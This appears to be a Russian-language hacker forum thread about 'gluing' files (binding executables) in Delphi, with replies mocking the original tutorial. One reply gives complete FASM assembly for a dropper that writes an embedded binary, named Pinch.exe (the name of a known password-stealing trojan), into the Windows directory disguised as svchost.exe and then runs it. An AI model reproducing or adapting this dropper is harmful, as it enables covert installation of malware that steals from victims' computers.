Клеим файлы в делфи

[opium]

------------------------

 

[Great]

ля начала запусти Дельфи! Запуситл? Молодец!
Там автоматически создалась форма.
Жми следующее:

Project => Remove From Project...
Появилось маленькое окошко. Жми ОК, затем Yes.

ты писал для ламеров или кодеров? уровень аудитории не совсем ясен...

 

[opium]

Я писал и для тех, кто ваще не шарит в Делфи.

 

[Great]

Я писал и для тех, кто ваще не шарит в Делфи. bang.gif

ты рассчитываешь, что тем, кто ничего не шарит в дельфи, все будет понятно?

 

[v0id]

opium, чел, чтобы не удалять форму жми создать консольное приложение и потому удаляй строку "апптип консоль"

 

[salamandra]

Но тогда уж такой дроппер можно и ещё проще на фасм зделать и превесок будет всего 1 кб

proc drop

locals
dir db 100 dup (?)
buf = 100
mas db '\svchost.exe',0
hFile dd ?
bWritten dd ?
TextOpen db 'open',0

endl


pusha
xor esi,esi
lea ebx,[dir]
invoke GetWindowsDirectory,ebx,buf
lea eax,[mas]
invoke lstrcat,ebx,eax
mov eax,2h
invoke CreateFile,ebx,40000000h,esi,esi,eax,esi,esi
xchg edi,eax
lea eax,[bWritten]
invoke WriteFile,edi,b,f,eax,esi
invoke CloseHandle,edi
lea eax,[TextOpen]
invoke ShellExecute,esi,eax,ebx,esi,esi,esi
popa
ret


endp
b: file 'Pinch.exe'
f = $ - b